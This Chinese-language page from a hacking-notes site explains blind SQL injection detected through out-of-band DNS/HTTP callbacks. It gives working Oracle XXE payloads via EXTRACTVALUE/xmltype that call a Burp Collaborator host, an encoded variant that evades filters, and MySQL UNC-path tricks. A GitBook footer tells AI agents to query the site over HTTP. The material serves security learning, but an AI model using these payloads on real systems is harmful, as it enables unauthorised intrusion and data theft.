> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/sql-injection/blind-sql-injection-with-oob-interaction.md).

# 带外交互的盲 SQL 注入

### 盲 SQL 注入与带外交互

**简要背景：** ……的值 `TrackingId` cookie（或其他参数）被注入到异步 SQL 查询中。HTTP 响应不会透露任何信息，但可以向 Burp Collaborator/OAST 服务触发外部交互（DNS/HTTP），从而可以外带数据或确认载荷已执行。

<figure><img src="/files/a0f68138eb889a36d7c2f6e575ce8d400bb2bef3" alt=""><figcaption></figcaption></figure>

### 技术与向量

#### Oracle — 通过以下方式进行 XML 外部实体（XXE） `EXTRACTVALUE` / `xmltype`

* 原理：构造一个包含指向你的 Collaborator 子域的外部实体的 XML 文档。对以下内容的调用 `EXTRACTVALUE(xmltype(...), '/l')` 会解析 DTD，并导致向受控域发出外传的 HTTP/DNS 请求：

```sql
' UNION SELECT EXTRACTVALUE(
    xmltype('<?xml version="1.0"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLAB-SUBDOMAIN/"> %remote;]>'),
    '/l') FROM dual-- -
```

* 备注：某些字符必须根据上下文进行编码/转义（引号、 `%` 在 DTD 中等）。在某些情况下，需要对载荷的部分进行 URL 编码。

#### MySQL — 通过以下方式获取网络文件 `LOAD_FILE` / `SELECT... INTO OUTFILE`

* `LOAD_FILE('//BURP-COLLAB-SUBDOMAIN/a')` 在允许文件服务器网络访问或可解析 UNC 路径的环境中，可能会导致外发 SMB/DNS 查询。
* `SELECT... INTO OUTFILE '//BURP-COLLAB-SUBDOMAIN/a'` 会在网络共享上写入文件，通常会在 Collaborator 侧引发可观察到的网络交互。
* 注意：这些技术高度依赖配置（数据库账户权限、服务器选项、外出网络访问）。

#### 实用说明

* 对于 Burp Collaborator / OAST，请使用提供的子域名（例如 `abcd.oastify.com`）作为实体或 UNC 路径中的 URL/路径。
* 某些服务器会截断/过滤载荷：请尝试不同的编码变体（URL 编码、 `%` 转义 → `%25`、注释变体等）。
* 当 Collaborator 请求到达时，你就拥有了 OOB 执行的证据（DNS/HTTP/SMB），从而确认漏洞存在。

#### 示例 — 带编码的变体（注意：你已经测试并收到了请求）

* 编码示例（你已提供）：

  ```sql
  ' union SELECT EXTRACTVALUE(xmltype('<?xml version="1.0"?><!DOCTYPE root [ <!ENTITY %25 remote SYSTEM "http://vwvitjrnb8um4dlf2x9blfuy3p9gxbl0.oastify.com"> %25remote%3b]>'),'/l') FROM dual-- -
  ```

→ `%` 编码 → `%25` 和 `;` → `%3b` 以绕过某些过滤/解析。

<figure><img src="/files/dd7de44791337f2d1279e6e47b44371fc0bcf7ad" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/sql-injection/blind-sql-injection-with-oob-interaction.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
